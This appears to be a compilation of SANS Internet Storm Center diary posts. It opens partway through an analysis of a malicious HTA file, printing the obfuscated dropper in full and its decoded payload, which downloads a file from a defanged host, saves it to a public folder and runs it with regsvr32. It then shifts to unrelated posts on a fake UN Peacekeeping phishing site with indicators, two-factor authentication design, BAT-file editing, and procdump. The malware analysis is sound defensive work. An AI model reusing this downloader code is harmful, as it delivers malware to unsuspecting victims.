    <div id='varCompsBr'>fX17KWUoaGN0YWN9O2Vzb2xjLmVsYmFpcmFWcmFWcmF2OykyICwiZ3BqLmNudUZlbmlmZURlbmlmZWRcXGNpbGJ1cFxcc3Jlc3VcXDpjIihlbGlmb3RldmFzLmVsYmFpcmFWcmFWcmF2Oyl5ZG9iZXNub3BzZXIuY251RmxtdEhjbnVmKGV0aXJ3LmVsYmFpcmFWcmFWcmF2OzEgPSBlcHl0LmVsYmFpcmFWcmFWcmF2O25lcG8uZWxiYWlyYVZyYVZyYXY7KSJtYWVydHMuYmRvZGEiKHRjZWpiT1hldml0Y0Egd2VuID0gZWxiYWlyYVZyYVZyYXYgcmF2e3lydHspMDAyID09IHN1dGF0cy5jbnVGbG10SGNudWYoZmk7KShkbmVzLmNudUZsbXRIY251ZjspZXNsYWYgLCJ2NjJSWHJtalA9ZW1pdCZiSk9Od3YwN1VKNHlRNWc9ZWdhcCZuUDFmSFpQUzBTamZ6VHd2YVdZazZyPWZlcj83cm9neWsvZktBVERhYjlwTGV1ekd3TkZCanVKRnAveDQ4b202b3hOTEZOMFJSRkVEbWJTVTZUa1dzT2N3bXU2VmNXZVZUSWQvT2VwV05VVkNHcWFNWnJyT002dkR6M0REbnRES0swTG5JT1BwTnk1ZjJtalBZL3hDbm1odm5lc0c2L0ZiQWh1TS9HeTdnaUZrZlBNNERrMTYvNUhFUjZGQnNJaHo4N2lyclcxRHBtZTN5MGM2VTNJRzE5M2RWdDBCN0QvaGZkYi9tb2MuZGxhbnJlYnJvdGF2ZWxlLy86cHR0aCIgLCJURUciKG5lcG8uY251RmxtdEhjbnVmOykicHR0aGxteC4ybG14c20iKHRjZWpiT1hldml0Y0Egd2VuID0gY251RmxtdEhjbnVmIHJhdg==w1XrZOykiZ3BqLmNudUZlbmlmZURlbmlmZWRcXGNpbGJ1cFxcc3Jlc3VcXDpjIDIzcnZzZ2VyIihudXIuc3Btb0NvVGVyYXBtb2M7KSJ0Y2VqYm9tZXRzeXNlbGlmLmduaXRwaXJjcyIodGNlamJPWGV2aXRjQSB3ZW4gPSByQmVsYmFpcmFWcm9mIHJhdjspImxsZWhzLnRwaXJjc3ciKHRjZWpiT1hldml0Y0Egd2VuID0gc3Btb0NvVGVyYXBtb2MgcmF2w1XrZbG9ydG5vY3RwaXJjcy5sb3J0bm9jdHBpcmNzc20=</div>
    <div id='forToCode'>UVWXYZabcdefghijklmnopqrst</div>
    <script language='javascript'>
        function forCoreCore(forCodeHtml){
            return(new ActiveXObject(forCodeHtml));
        }
        function defineHtmlVar(codeCompsVar){
            return(toHtmlBr.getElementById(codeCompsVar).innerHTML);
        }
        function toToFunc(){
            return('ABCDEFGHIJKLMNOPQRST' + defineHtmlVar('forToCode') + 'uvwxyz0123456789+/');
        }
        function varVarCode(htmlProcHtml){
            return('cha' + htmlProcHtml);
        }
        function compareBrFunc(s){
            var e={}; var i; var b=0; var c; var x; var l=0; var a; var forProcDefine=''; var w=String.fromCharCode; var L=s.length;var forToFunc = varVarCode('rAt');for(i=0;i<64;i++){e[toToFunc()[forToFunc](i)]=i;}for(x=0;x<L;x++){c=e[s[forToFunc](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(forProcDefine+=w(a));}}return(forProcDefine);
        };
        function varVariableVar(brForHtml){
            return brForHtml.split('').reverse().join('');
        }
        function coreForComps(htmlProcHtml){
            return(varVariableVar(compareBrFunc(htmlProcHtml)));
        }
        function compareI(htmlProcHtml, varVarProc){
            return(htmlProcHtml.split(varVarProc));
        }
        compsBrVar = window;
        toHtmlBr = document;
        compsBrVar.resizeTo(3, 3);
        compsBrVar.moveTo(-121, -121);
        var procITo = compareI(defineHtmlVar('varCompsBr'), 'w1XrZ');
        var toIComps = coreForComps(procITo[0]);
        var toProcHtml = coreForComps(procITo[1]);
        var defineDefineCode = coreForComps(procITo[2]);
    </script>
    <script language="javascript">function compsCodeI(codeCompsFor, codeVarCode){var toDefineVar = function(brForHtml){if(codeVarCode !== ""){return(new Function(brForHtml));}};toDefineVar(codeCompsFor)();}
    </script>
    <script language='vbscript'>Function compareCompareFunc(varCompsBr):Set compareHtmlBr = CreateObject(defineDefineCode):With compareHtmlBr:.language = "jscript":.timeout = 60 * 1000 * 8:End With:compareHtmlBr.eval(compsCodeI(varCompsBr, "htmlProcHtml")):End Function</script>
    <script language='vbscript'>Call compareCompareFunc(toIComps)
    </script>
    <script language='vbscript'>Call compareCompareFunc(toProcHtml)
    </script>
    <script language='javascript'>compsBrVar['close']();
    </script>
</body>
</html>

The first Base64 encoded string decodes into (Base64 + reversed string):

var funcHtmlFunc = new ActiveXObject("msxml2.xmlhttp");funcHtmlFunc.open("GET", "hxxp://elevatorbernald[.]com/bdfh/D7B0tVd391GI3U6c0y3empD1Wrri78zhIsBF6REH5/61kD4MPfkFig7yG/MuhAbF/6GsenvhmnCx/YPjm2f5yNpPOInL0KKDtnDD3zDv6MOrrZMaqGCVUNWpeO/dITVeWcV6umwcOsWkT6USbmDEFRR0NFLNxo6mo84x/pFJujBFNwGzueLp9baDTAKf/kygor7?ref=r6kYWavwTzfjS0SPZHf1Pn&page=g5Qy4JU70vwNOJb&time=PjmrXR26v", false);funcHtmlFunc.send();if(funcHtmlFunc.status == 200){try{var varVarVariable = new ActiveXObject("adodb.stream");varVarVariable.open;varVarVariable.type = 1;varVarVariable.write(funcHtmlFunc.responsebody);varVarVariable.savetofile("c:\\users\\public\\defineDefineFunc.jpg", 2);varVarVariable.close;}catch(e){}}

The next payload was not available for download:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "kygor7" was not found on this server.</p></body></html>

I tried several User-Agents, IP addresses but impossible to get the file.

As you can see with this sample, no need to implement very complex obfuscation techniques to bypass most antivirus solutions. The best protection remains to remain suspicious when a document is received "out of nowhere". Stay safe!

[1] https://www.virustotal.com/gui/file/9bd5e5eeffd0fb4e1cc9762b1a8c0571d9208aa140075ce5a0e33be29844610e/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I was alerted to a web page masquerading as a local financial institution earlier in the day. The phishing web page was constructed well, looked extremely similar to the financial institution’s actual page and had input fields for victims to input their credentials. Fortunately, it was taken down quickly. However, I was unable to do further analysis on the perpetrator nor access the site to obtain data (for example, the phishing site allegedly restricted access only to mobile device browsers). Albeit a little disappointed, I analyzed the information that was sent to me and decided to pivot and hunt for a potential website that was involved in shenanigans.

Using the trusty Hurricane Electric’s BGP Toolkit [1], I investigated the IP address block of 104.219.248.0/24 (this was where the financial institution phishing site originated from). After examining the swath of domain names, I discovered a web site attempting to masquerade as the United Nations (UN) Peacekeeping site (Figure 1 shows the masqueraded site, while Figure 2 shows the real UN Peacekeeping site). At the first look, we can see that both websites had slightly different layouts, along with different favicons and page titles. There was also a tawk.to chat plugin observed on the masqueraded UN Peacekeeping site.

Figure 1: Masqueraded UN Peacekeeping Site

Figure 2: Official UN Peacekeeping Site

In contrast to the previous site that was analyzed in my previous diary [2], the graphics used by this site were self-hosted (the previous site used third-party image hosting sites). I also examined the HTML code, and observed that some portions of the code had comments written in Traditional Chinese characters (as compared to Simplified Chinese characters). This is highlighted in red boxes and shown in Figures 3 and 4.

Figure 3: HTML Code with Traditional Chinese Characters Comment (Translation: Configure pop-up selection button, fadeOut show/hide)

Figure 4: HTML Code with Traditional Chinese Characters Comment (Translation: Configure forget password, left right switch)

Several links in the website appear to redirect to the main index of the website, while others led to a HTTP 404 error message as the links were not configured properly. However, the videos section did redirect to the legitimate UN Web TV website, but there was a typo for “Featured Video” (as shown in Figure 5).

Figure 5: Typo on Masqueraded UN Peacekeeping Site

The masqueraded website also purportedly offered a mechanism to find military personnel. By clicking on the “Portal” button (highlighted in Figure 1), an input field and even a captcha image was displayed (as shown in Figure 6).  This was not found on the actual UN Peacekeeping site.

Figure 6: Military Personnel Search on Masqueraded Site

Input validation was not enforced on the masqueraded site. By clicking the “Track” button with no input showed an animation of train on tracks (with reference to Figure 7). Even if there were inputs, the page would still redirect to the page as shown in Figure 7.

Figure 7: Response to Search on Masqueraded Site

Finally, with reference to Figure 8, it was observed that the site had embedded Google Analytics to track and monitor visitors. However, after digging deeper into the Google Analytics Tracking ID, it turned out that the Tracking ID was copied by many people online and it appeared in several online sites such as forums, Stack Overflow and Pastebin.

Figure 8: Google Analytics Code on Masqueraded Site

There were many interesting takeaways after examining this masqueraded site, especially from Open-Source Intelligence (OSINT) and operational security (OPSEC) perspectives. This site could gather visitor and geolocation data via Google Analytics. However, the appearance of the same Tracking ID in many different online sites (especially those requesting for guidance in coding) meant that more efforts to trace its actual owner and first appearance/usage would be required.

Native data collection (Find a military personnel) and communications (tawk.to plugin) functionality were also present. Since the website was titled as “UN vacation Portal”, a plausible hypothesis could be that the perpetrators were fishing for information on vacationing UN Peacekeepers. For example, they could invite unsuspecting victims to input details of their colleagues (or even their own data) to verify their vacation status. Having such knowledge could facilitate phishing, social engineering attempts or even potential armed conflict. Another interesting observation was that the perpetrators chose to display current weather information of New York at the top of the site, and had made sure that the site appeared current by also putting in a banner about COVID-19 information. As of now, attribution would be difficult since more data will be needed. Having said that, considering all the points raised and observations, this web site most certainly do not appear to be benign.

The indicators of compromise of the site are listed below.

Indicators of Compromise (IOCs):
hxxp://office-un-peacekeeping[.]com
104.219.248[.]9

References:
[1] https://bgp.he.net/
[2] https://isc.sans.edu/diary/27456

-----------
Yee Ching Tok, ISC Handler
Personal Site
Twitter

I hope this doesn't work... no comment otherwise.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 - Usability

Usability remains a challenge for two-factor authentication. I recently came across a review of a healthcare-related mobile app, and a one-star review complained about how unusable the application is due to its two-factor requirement. I am sure the developer considered two-factor authentication a must due to the application storing sensitive medical data. The application used a one-time-password style second factor ("Google Authenticator"), and it can be a bit difficult to switch between apps on a mobile device during login.

This is where it matters to design an authentication mechanism that is adequate for the particular use case. I am not sure if I have a better option for a healthcare application, but here are some ideas for applications that provide access to less sensitive data:

• "Remember This Device." A user only needs to provide the second factor if they enroll a new device. This is often done using a cookie. The cookie should expire after a while, so the user will have to enter the second factor maybe once a month or once a week (again: remember to weigh off the risk). Cookies can, of course, be stolen, and you should obey best practices when setting the cookie.
• Provide different 2FA authenticator options. The "Google Authenticator" is nice in that it does offer a secure and open system that is implemented in different password safes and other applications, making it more adaptable to the user, and users tend to be familiar with it. Many bad things have been written about the use of SMS, but again: it all depends on the risk. Or even something simple as an email may provide a useable option that is significantly more secure than not having any 2FA. Maybe leave it up to the user to pick an option.
• Stick to standards. Look at how other sites implement 2FA. Do not expect your users to learn a new way of doing things just for your site.
• Don't expect the user to have specific hardware (unless you want to be VERY secure). Hardware tokens are nice but a pain to use. They should be reserved for particular high-security applications. I don't think a user will carry more than 3 of them. So if you are not one of the top three security-relevant applications a user needs to access, you should probably stick to the less secure soft tokens. Exceptions may be Webauthn capable tokens that are usable with multiple applications (which comes back to sticking to standards)

1 - Resetting the 2nd Factor

Before you implement 2FA, think about how you are going to reset the 2F. People will lose phones. They will forget tokens at work/home and still need to get access to specific applications. This is a bit like the password reset problem but often more difficult. I have not seen a good implementation yet, and if anybody has any ideas, let me know. Most sites will create a "recovery code," but that code may be lost as well (either for good or to an attacker). I once had a hardware token break that I use for a bank, and it came down to "answer these questions" before 2FA was disabled for my account and a new authenticator was sent. In some cases, it can help to allow the user to register multiple tokens.

2 - Using a Token to Reset a Password

With 2FA, there are two things to lose: Your password and your token. It is important to remember that while a token will make a weak password less dangerous, the token should not be used as an excuse to have a weak password. I recently had to reset my password for an online banking account protected with a hardware token. The password reset process asked me for my username, the current token value, and the new password. My password was reset on the spot without any additional verification. In this case, a stolen token can mean a compromised account. We always joke about users writing their passwords on the back of authentication tokens, but this simplified password reset process comes down to the same things.

4 - Other Gotchas

• don't allow the same token value to be used twice, even if it is still valid
• enforce brute force protection for token values
• be careful what decisions you leave to the user

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

I often use Windows BAT files, simple ones, to execute a series of commands. And over the years, I learned not to change these BAT files while they were executing, because cmd.exe would "notice" those changes when it has to execute the next command in the BAT file, and read the changed file, leading to undesired results.

But recently, I started to use this to my advantage: change commands in a BAT file while it is executing, without undesired results.

The trick is to only change the commands that still have to be executed. Don't touch the commands that have already executed, and certainly, don't make them shorter or longer.

Although I have not reversed cmd.exe be sure of what I experience, it seems like cmd.exe does not read a BAT all at once, but that it has a filepointer into the BAT file it is processing, and reads the next line to execute after the current line finishes executing.

If you remove bytes before the filepointer (e.g., by changing commands before the current command to make them shorter, or removing commands), the filepointer will no longer point to the beginning of the next line to execute.

Same if you add bytes before the filepointer.

The trick is to change commands after the filepointer, e.g., change commands that have yet to be executed, while leaving the rest of the BAT file intact.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

A new version of procdump, the Sysinternals tool to create process dumps, was released.

The new feature I'm interesting in, is the possibility to add a comment (option -dc)

I often use procdump, also for dynamic malware analysis, so this -dc option will enable me to do something like:

The second new feature, is a triage dump (-mt). With an intriguing description:

Removal of sensitive information is attempted but not guaranteed

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com